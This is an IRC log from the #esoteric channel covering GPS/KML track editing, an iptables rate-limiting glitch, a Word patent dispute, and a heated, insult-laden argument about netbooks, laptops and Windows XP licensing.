actually be correct this time, since the trip through kml and Google Earth had the "clamp to ground level" flag on, so it's possible that it has used Google's height data to reset the altitude information in the points. < 1250436220 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Even 36 metres sounds a bit overdoing it, it's pretty flat terrain. < 1250436298 0 :MigoMipo!unknown@unknown.invalid QUIT :"QuitIRCServerException: MigoMipo disconnected from IRC Server" < 1250436313 0 :MigoMipo!n=MigoMipo@84-217-6-187.tn.glocalnet.net JOIN :#esoteric < 1250436354 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Hey, what the foo. < 1250436370 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The editing in Google Earth has removed the timestamps from the points. < 1250436499 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess it makes some sort of sense, but it makes that track really useless for photo-correlating. Mehbleh. < 1250437538 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, "Max Speed 55.3 km/hour". That's quite a walking speed. < 1250437644 0 :Sneezle!n=marten@dyndsl-095-033-004-172.ewe-ip-backbone.de JOIN :#esoteric < 1250437727 0 :Sgeo!n=Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1250439144 0 :ehird!n=ehird@91.105.76.79 JOIN :#esoteric < 1250439361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, how did it calculate THAT? < 1250439403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and why did it need editing? Filtering out the awkward bits? The visit in some shops you want to keep private? ;P < 1250439478 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I tend to take several pictures of the same things. Besides, there are again couple of merge-in-hugin shots from places where the built-in objective just wasn't wide enough. < 1250439481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, don't the GPS record altitude iirc? < 1250439497 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but the altitude is a lot less reliable than the position. < 1250439502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah ok < 1250439514 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Those numbers did come from the GPS, actually, which might explain their strangeness. < 1250439539 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And I guess the 55.3 km/h comes from some place where the gps was confused and did a large jump. Reception was a bit iffy there between all the buildings. < 1250439552 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, is kml a binary format? < 1250439557 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :XML. < 1250439576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, then using kompare or similar to merge the timestamps back in shouldn't be TOO hard < 1250439581 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though Google Maps supports a .kmz format too, which I think is just gzipped kml. < 1250439583 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :04:44:07 M0ny, you mean like for 1800 century tables and so on? < 1250439583 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :1800 CENTURY?! < 1250439596 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION time warps to BOTTOM of that log...
< 1250439601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, sorry, Swedishism < 1250439604 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well, I did it with a bit of Perl; the timestamps is where the 55.3 km/h speed came from. < 1250439615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1250439616 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :you say that in swedish? < 1250439645 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :19:22:09 Though it might be safer to move it out of the galaxy. < 1250439645 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :can't we just migrate to another universe? < 1250439668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklofok, no, but trying to handle that English is off by one < 1250439672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mixed it up < 1250439673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1250439688 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :20 century -> 1900-2000 < 1250439698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and < 1250439702 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :so what did you mean? < 1250439705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :we say "artonhundratalet" < 1250439706 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :19th century? < 1250439707 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in Swedish < 1250439711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which < 1250439716 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :yeah, that's not "1800th century" < 1250439738 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :ehird was pointing out the 1800th century i quite a bit in the future < 1250439742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :means "the eightteen hundred number" literally < 1250439747 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :i know what it means < 1250439751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as for "the number" bit, no clue < 1250439757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it sounds odd in English < 1250439775 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :in english, you call centuries centuries < 1250439779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklofok, well, obviously this is a retcon to hide that I *actually* was time travelling < 1250439783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I see I couldn't fool you < 1250439795 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: or ehird < 1250439802 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1250439803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :damn < 1250439834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION curses iptables
< 1250439840 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for some reason the -m limit < 1250439842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :doesn't work < 1250439847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to provide rate limiting < 1250439852 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :19:34:21 wait, calamari's are a bit bigger than fireflies maybe < 1250439856 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric : calamari's < 1250439860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even using an example STRAIGHT from a log < 1250439860 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :NEENOR NEEEEEEEEENOR < 1250439861 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :*calamaris < 1250439862 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ALARM ALARM < 1250439863 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :CODE RED < 1250439867 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :OKLOPOL ERROR FOUND < 1250439870 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :CODE RED < 1250439872 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ALARM ALARM < 1250439874 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric ::< < 1250439874 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :NEENOR NEEEEEEEEENOR < 1250439876 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :okay situation over < 1250439881 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1250439882 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :just be calm and relax < 1250439885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, "NEENOR"? < 1250439889 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: siren < 1250439912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, isn't that "OOOEEEEEEOOOEEEEEOOOO" < 1250439918 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on the other hand... < 1250439943 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that's one type of siren < 1250439970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, there is the (say it very quickly) "WEWEWEWEWEW" type too < 1250440051 0 :jix!unknown@unknown.invalid QUIT :Remote closed the connection < 1250440054 0 :jix!n=jix@188-193-95-175-dynip.superkabel.de JOIN :#esoteric < 1250440181 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :19:47:52 we're playing name an algo < 1250440183 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Shor's! < 1250440190 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :hmm, it seems 100 is the maximum amount of processes. < 1250440190 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :or at least usually when i open the task manager because i can't open any more windows, the count is 100 < 1250440206 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :19:53:55 about the topic: I just wiktionaried the phrase < 1250440206 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :19:54:05 odd topic for the #esoteric channel, a bit, eh? < 1250440206 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's esoteric because of "eir" < 1250440210 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklofok: on what < 1250440223 0 :MigoMipo!unknown@unknown.invalid QUIT :Nick collision from services. < 1250440224 0 :MigoMipo_!n=MigoMipo@84-217-8-7.tn.glocalnet.net JOIN :#esoteric < 1250440230 0 :MigoMipo_!unknown@unknown.invalid QUIT :Remote closed the connection < 1250440245 0 :MigoMipo!n=MigoMipo@84-217-8-7.tn.glocalnet.net JOIN :#esoteric < 1250440250 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This is quite stunning -- Gecko, using less than 100M. < 1250440267 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20:43:40 I'm a gnu/linux noob < 1250440267 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20:43:42 :D < 1250440268 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20:43:54 I'm so used to Mac < 1250440268 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Underpinnings fail. < 1250440268 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :of course, that's impossible because i actually cannot open any new windows, not even menus, which of course aren't processes < 1250440273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, did PPC based macs use ACPI? < 1250440280 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hooray, LDFLAGS="-Wl,--as-needed" < 1250440281 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no idea. < 1250440283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or is it only x86 and ia64 that does < 1250440329 0 :oklofok!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1250440334 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :20:56:27 Also, socat is better in literally every way :P < 1250440334 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It's infinitely worse due to being very bloated. < 1250440346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I assume he is on Windows < 1250440349 0 :oklopol!n=oklopol@a91-153-125-186.elisa-laajakaista.fi JOIN :#esoteric < 1250440359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I never *TRIED* 100 windows on windows < 1250440371 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, uh, Windows can open over 100 windows, so no. < 1250440373 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but wouldn't surprise me if it didn't handle that < 1250440399 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Windows is completely uselessly crippled and no professionals ever get anything done with it because they can't because I dislike it, amirite? < 1250440567 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :02:44:59 hmm... it seems that someone sued Microsoft over an XML-related patent, and they've been banned from selling Word in the US < 1250440567 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :02:45:11 although, it shouldn't take them too long to modify it to get around the patent < 1250440567 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :holy shit stop reading whatever you do, we discussed that about a week ago < 1250440577 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :also, it's not about XML, dammit < 1250440581 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :god I hate FUD < 1250440604 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's XML-related in some way < 1250440640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no < 1250440640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it is not < 1250440640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: here is what it is about < 1250440640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :out of bound formatting information < 1250440640 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :instead of hello world < 1250440642 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :{hello world,{start=N,end=N,bold}} < 1250440648 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's about having an extensible XML schema, IIRC. < 1250440649 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :using that in XML < 1250440655 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: no it is not ffs < 1250440658 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there seem to be two conflicting reports as to what it's about < 1250440666 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :one says it's extensible schema, the other says it's tag-data separation < 1250440670 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Okay, then. < 1250440672 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: the one I am talking about is from people who have actually read the patent. < 1250440678 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Still a fucking retarded patent. < 1250440684 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: duh, all patents are < 1250440691 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(i wish there were non-tabloid tech news sites) < 1250440691 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :my guess is actually there are two different court cases, with two different patents < 1250440696 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which is why people are getting muddled < 1250440714 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :All software patents are. Non-software patents have the *possibility* of being non-retarded. < 1250440724 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :03:54:44 so how many computers do I have ;P < 1250440725 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :03:54:17 otherwise 3/5 of the computers have serial ports. Between them they would have 5 serial ports. < 1250440726 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :5. < 1250440735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fucking god, I can get the limit match to work under older kernels < 1250440739 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just not on 2.6.30 < 1250440741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sighs
< 1250440745 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: no. government-enforced monopolies are never non-retarded. < 1250440756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I'm too busy to debug that atm < 1250440777 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Government is a government-enforced monopoly. :P < 1250440801 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: s/government/state/ig, technically. < 1250440804 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Well, the state. < 1250440806 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and state. < 1250440807 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :respectively < 1250440820 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: but a self-enforcing monopoly... isn't < 1250440829 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's perfectly possible to set up a competing state and overthrow the existing one < 1250441057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 5. <-- calculations? < 1250441064 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I fail to find how you arrived at the answer < 1250441068 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"3/5 of the computers have serial ports". < 1250441072 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Three out of five of them. < 1250441076 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Therefore, five. < 1250441088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, could be 6 out of 10? < 1250441098 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you meant (3/5)*. < 1250441104 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That's not what "3/5 of the computers" means in English. < 1250441120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, three fifths < 1250441151 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what do you mean with the multiplication with the dot there < 1250441175 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That dot is also known as a full stop. < 1250441178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, however, it can't be 6 out of 10 for an obvious reason. Five serial ports. 6 computers. Nah < 1250441188 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Half a serial port. < 1250441194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, exactly < 1250441296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what about 6 computers in total < 1250441299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that would mean. uh < 1250441327 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :4/4ths of the people in this conversation are annoying and pedantic. < 1250441354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :3.3 computers having serial ports < 1250441356 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1250441357 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I DID tell him that that isn't what 3/5 means. < 1250441375 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Yes, thank you for proving my point. < 1250441378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, and I don't see what it would mean INSTEAD < 1250441394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is just a simplified fraction < 1250441397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1250441401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :simplest form < 1250441409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whatever the English word is for that < 1250441423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is it safe to say that netbooks are inappropriate for compiling C/C++ code? < 1250441424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it would be as silly as saying "4/8" < 1250441427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when you mean 1/2 < 1250441434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, no? < 1250441435 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It means "There are FIVE and THREE of them". < 1250441436 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Nah! < 1250441440 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Well, C++, yes. < 1250441441 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: What processor? < 1250441447 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, I just compiled on my dual core thinkpad < 1250441451 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Anything short of a supercomputer is inappropriate for compiling C++. < 1250441452 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: .......... < 1250441454 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: THAT IS NOT A NETBOOK < 1250441458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :um < 1250441461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :read "notebook" < 1250441463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not "netbook" < 1250441465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :SEE < 1250441468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Still inappropriate. < 1250441472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :THAT IS WHY LAPTOP IS A BETTER WORD < 1250441480 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :C++ cannot be compiled, you see. < 1250441502 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Well, it's inappropriate to compile C++ code in the same way that it's inappropriate to walk around downtown totally nude. < 1250441506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, so all the "so called" compilers are scams? < 1250441507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1250441508 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs a laptop for school, and want to convince my dad to get something which happens to be appropriate for gaming. Just thinking that if he points towards a netbook, I could say that it's inappropriate for what I need to do.
< 1250441536 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They compile a subset of C++. < 1250441540 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Well, it is < 1250441542 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Not big on lying to your family, eh? :P < 1250441543 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :They're dog slow. < 1250441543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, linux I assume? < 1250441554 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, he wants to play Tux Racer. < 1250441562 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, I'm taking C++ classes < 1250441563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, there are more games < 1250441568 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol ehird < 1250441568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, vegastrike, warzone2100 < 1250441570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and lots more < 1250441577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but yes tux racer, or one of it's forks < 1250441579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is quite fun < 1250441581 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Compiling any non-trivial C++ program will be very tedious; javascripty websites will be dog slow, < 1250441581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for a bit < 1250441583 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If I want gaming, I go with Windows. That's my main reason for using Windows, actually < 1250441584 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Flash will be painful, ... < 1250441593 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Also wine, lest we forget that that not only works but works extraordinarily well. < 1250441598 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Besides, they tend to have only 1GB of RAM. < 1250441602 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Microsoft actually have rules. < 1250441604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, indeed < 1250441606 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :If a netbook is too powerful, < 1250441609 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :they can't use windows < 1250441614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, eh? < 1250441616 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why on earth < 1250441624 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: money. < 1250441628 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, they can't use Windows XP. < 1250441638 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: well, yes < 1250441638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so < 1250441642 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but 7 isn't out yet < 1250441646 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and vista will be dog slow on them < 1250441647 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They can use Windows Vista, but there's no way in hell you're making a netbook that can run Vista. < 1250441649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why did my thinkpad ship with a "downgrade to xp" cd < 1250441656 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: IT'S NOT A NETBOOK YOU FUCKING RETARD! < 1250441660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, indeed < 1250441665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so they can't use xp? < 1250441668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or do you mean < 1250441669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they can < 1250441671 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :.......................... < 1250441673 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :READ DAMMIT < 1250441674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it is downgrade cd < 1250441677 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the difference between a notebook and a laptop? < 1250441679 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They can *barely* manage to do that, because it ships with Vista by default. < 1250441680 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :IF THEY ARE BEYOND CERTAIN SPECS THEY CAN'T USE XP < 1250441684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ah < 1250441698 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: most modern notebooks burn your lap < 1250441699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, thanks for answering the actual question. Unlike ehird < 1250441700 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Good lawd the conversations in here are stupid. < 1250441701 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so laptop is inappropriate < 1250441705 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol ehird < 1250441706 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Microsoft makes the whole affair very confusing. < 1250441709 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I DID ANSWER IT FOR FUCK'S SAKE, BEFORE YOU EVEN ASKED < 1250441715 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :IF A NETBOOK IS BEYOND CERTAIN SPECS, THEY CANNOT USE XP < 1250441723 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Also, there's one easy way to rebut a netbook: the screen. < 1250441728 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: And keyboard. < 1250441733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, which line < 1250441736 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The Windows 7 upgrade scheme is retarded. < 1250441738 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: There is NO WAY you will get any decent programming done on a 10" screen with a tiny keyboard. < 1250441756 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ty ehird < 1250441758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I'm unable to find the word "downgrade cd" anywhere < 1250441758 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 16:53] ehird: If a netbook is too powerful, < 1250441758 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[16:53] ehird: they can't use windows < 1250441759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :16:53] pikhq: Actually, they can't use Windows XP. < 1250441759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[16:53] ehird: pikhq: well, yes < 1250441759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :16:54] ehird: but 7 isn't out yet < 1250441759 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[16:54] ehird: and vista will be dog slow on them < 1250441766 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ In conclusion, you're a retard. < 1250441771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, doesn't mention downgrade cd to xp < 1250441775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at all < 1250441778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is what I asked about < 1250441779 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :....... < 1250441781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you retard < 1250441809 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :A DOWNGRADE TO XP IS THE SAME AS USING XP < 1250441832 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Jebus, man. From how you talk, you'd almost think that you cared about Microsoft. < 1250441846 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :........... < 1250441847 0 